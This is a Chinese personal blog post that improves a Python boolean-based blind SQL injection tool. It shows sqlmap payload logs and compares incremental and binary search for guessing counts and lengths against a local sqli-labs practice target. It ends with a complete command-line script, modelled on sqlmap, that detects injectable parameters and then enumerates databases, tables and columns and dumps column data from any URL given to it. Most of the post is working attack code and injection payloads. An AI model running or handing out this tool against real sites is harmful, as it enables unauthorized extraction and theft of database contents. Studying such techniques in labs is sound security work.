C1imber's Blog

python布尔盲注脚本算法完善

字数统计: 3k阅读时长: 16 min
2018/06/06 Share

python布尔盲注脚本算法完善

完善一下上次写的python盲注工具,之前那个盲注工具在猜取字符的时候使用的二分法,通过查找0-126这个范围去采取数据库中的数据。但是当时遗留了一个问题,就是在逐个猜解数据库字符时使用二分法并没有什么问题,这时因为字符都在0-126这个固定范围内,但是在猜取数据库个数、指定数据库的表个数、字段个数或者表中记录条数时,又或者是数据库名的长度、表名长度、字段名的长度时是没有一个固定的范围的,举个例子,比如在猜取表中记录个数时,记录的个数是不能确定范围的,也就是不能确定二分法的最大值,当时采用了循环自加的方式去判断,速度自然是慢了许多。今天抽时间读了一下sqlmap的payload,通过payload发现sqlmap也考虑到了这种情况,并且处理方法还是不错的。对于这种情况还是可以通过二分法判断的,将自己的方法记录一下~

分析sqlmap判断时的payload

首先看一下sqlmap在判断数据库个数时的payload

[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>54 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>52 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),1,1))>53 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>51 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>48 AND 'rTJT'='rTJT
[12:09:16] [PAYLOAD] 1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(DISTINCT(schema_name)) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),2,1))>9 AND 'rTJT'='rTJT
[12:09:16] [INFO] retrieved: 5

通过分析payload可以看出sqlmap将count查到的数据库个数使用cast转换为了字符型,然后指定二分法的范围为字符'0'-'9',其ascii码转换为十进制也就是48-57,这个区域中间值为52,而看上面sqlmap在判断数据库个数时的第一个payload比较的值是51,所以可以确定sqlmap指定的二分法的大致范围确实是48-57(‘0’-‘9’)

通过对sqlmap的payload的分析,我想到了一种解决之前那个问题的办法,由于查询个数、长度、记录数的结果一定为数字,那么不管这个数字有多大,只要转换为字符串后,它的每一位一定是在'0'-'9'这个范围内,也就是十进制的48-57,所以只需要把数字转换成字符串,然后去使用二分法,指定二分法的范围为48-57,之后通过二分法可以判断出数字字符串每一位的字符,直到不能判断为止,最终就能得到这个数字

自增查找和二分查找算法对比

和之前的自增查找做一个对比,首先以猜解数据库个数为例,我的数据库个数为5个

在不确定二分法范围时采用的自增算法代码

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select count(schema_name) from information_schema.schemata)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1

mark
自增算法发送了5次payload判断出了数据库个数为5

再看一下刚刚说的二分查找算法代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s

mark
在这里二分算法发送了6次payload才判断出来了数据库的个数为5,可以看出当数字比较小的时候,上面的二分法的优势并没有体现出来

那么再举一个例子,比如用盲注判断information_schema这个数据库名的长度,长度为18,相比之前的5大了一些,为2位数,再次对比一下两个算法

在不确定二分法范围时采用的自增算法代码

1
2
3
4
5
6
7
8
9
10
11
12
13
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=0
while 1:
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' and (select length(schema_name) from information_schema.schemata limit 0,1)=%d-- "%(i)
html=requests.get(url=payload).content
print payload
if basehtml==html:
print i
break
else:
i=i+1

mark
发送了18次payload才判断出information_schema数据库名的长度为18

再看一下刚刚说的二分查找算法代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import requests
url="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1"
basehtml=requests.get(url=url).content
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="http://192.168.3.3/sqli-labs-master/Less-5/index.php?id=1' AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit 0,1),%d,1))>%d-- "%(i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
print s

mark
可以看到随着数字的增加,二分法的优势体现出来了,只发送了9次payload就判断出了information_schema数据库名的长度为18

盲注脚本加强版

修改过后的盲注脚本,注入速度相比之前的那个明显有所提高

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
#coding=utf-8
import requests
import sys
from optparse import OptionParser
def getdbnum(url,basehtml):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA),%d,1))>%d-- "%(url,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getdbs(url,basehtml,num):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(schema_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.SCHEMATA limit %d,1),%d,1))>%d-- "%(url,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
#print "len:%s"%(length)
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select schema_name from information_schema.schemata limit %s,1),%s,1))>%s-- "%(url,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def gettablenum(url,basehtml,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def gettables(url,basehtml,num,dbname):
print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(table_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,dbname.encode("hex"),n,i,mid)
print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select table_name from information_schema.tables where table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getcolumnnum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def getcolumns(url,basehtml,num,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(column_name) AS CHAR),0x20) FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME=0x%s AND TABLE_SCHEMA=0x%s limit %d,1),%d,1))>%d-- "%(url,tablename.encode("hex"),dbname.encode("hex"),n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select column_name from information_schema.columns where table_name=0x%s and table_schema=0x%s limit %s,1),%s,1))>%s-- "%(url,tablename.encode("hex"),dbname.encode("hex"),str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def getdatanum(url,basehtml,tablename,dbname):
i=1
s=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(COUNT(*) AS CHAR),0x20) FROM %s.%s),%d,1))>%d-- "%(url,dbname,tablename,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
s=s+chr((low+high+1)/2)
i=i+1
else:
break
return int(s)
def dumpdatas(url,basehtml,num,columnname,tablename,dbname):
#print "num:%s"%(num)
for n in range(num):
i=1
length=""
while 1:
count=0
low=48
high=57
while low<=high:
mid=(low+high)/2
payload="%s AND ORD(MID((SELECT IFNULL(CAST(length(%s) AS CHAR),0x20) FROM %s.%s limit %d,1),%d,1))>%d-- "%(url,columnname,dbname,tablename,n,i,mid)
#print payload
html=requests.get(url=payload).content
if basehtml==html:
low=mid+1
count+=1
else:
high=mid-1
if count!=0:
length=length+chr((low+high+1)/2)
i=i+1
else:
break
s=""
for c in range(1,int(length)+1):
low=0
high=126
while low<=high:
mid=(low+high)/2
payload="%s and ascii(substr((select %s from %s.%s limit %s,1),%s,1))>%s-- "%(url,columnname,dbname,tablename,str(n),str(c),str(mid))
html=requests.get(url=payload).content
#print payload
if html==basehtml:
#print payload
low=mid+1
else:
high=mid-1
s=s+chr((low+high+1)/2)
print s
def testurl(url,basehtml):
url1="%s'"%(url)
url2='%s"'%(url)
html1=requests.get(url1).content
html2=requests.get(url2).content
if basehtml!=html1 and basehtml!=html2:
#print "this url maybe injectable,type numeric"
return url
elif basehtml!=html1 and basehtml==html2:
#print "this url maybe injectable,type string(\")"
return url1
elif basehtml==html1 and basehtml!=html2:
#print "this url maybe injectable,type string(\")"
return url2
else:
return False
def main():
parser=OptionParser()
parser.add_option("-u",type="string",dest="url",help="-u url")
parser.add_option("-C",type="string",dest="column",help="-C column1,column2,...,...")
parser.add_option("-T",type="string",dest="table",help="-T table")
parser.add_option("-D",type="string",dest="db",help="-D dadabase")
parser.add_option("--dbs",action="store_true",dest="dbs",help="inject all databases")
parser.add_option("--dump",action="store_true",dest="dump",help="dump columns with selected table and database")
parser.add_option("--tables",action="store_true",dest="tables",help="inject all tables in selected database")
parser.add_option("--columns",action="store_true",dest="columns",help="inject all columns in selected table and database")
(options,args)=parser.parse_args()
if options.url and len(sys.argv)==3:
url=options.url
basehtml=requests.get(url=url).content
result=testurl(url,basehtml)
if result:
print "this url maybe injectable"
else:
print "this url maybe notinjectable"
elif options.url and options.dbs:#--dbs
url=options.url
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdbnum(url,basehtml)
getdbs(url,basehtml,num)
elif options.url and options.tables and options.db:#-u url --tables -D database
url=options.url
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=gettablenum(url,basehtml,db)
gettables(url,basehtml,num,db)
elif options.url and options.columns and options.table and options.db:#-u url --columns -T table -D database
url=options.url
table=options.table
db=options.db
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getcolumnnum(url,basehtml,table,db)
getcolumns(url,basehtml,num,table,db)
elif options.url and options.dump and options.column and options.table and options.db:#-u url --dump -C column -T table -D database
url=options.url
column=options.column
table=options.table
db=options.db
columns=column.split(",")
basehtml=requests.get(url=url).content
url=testurl(url,basehtml)
num=getdatanum(url,basehtml,table,db)
for column in columns:
dumpdatas(url,basehtml,num,column,table,db)
else:
#print "Please look this script help information,to use --help or -h"
parser.print_help()
if __name__=='__main__':
main()
CATALOG
  1. 1. python布尔盲注脚本算法完善
    1. 1.0.1. 分析sqlmap判断时的payload
    2. 1.0.2. 自增查找和二分查找算法对比
    3. 1.0.3. 盲注脚本加强版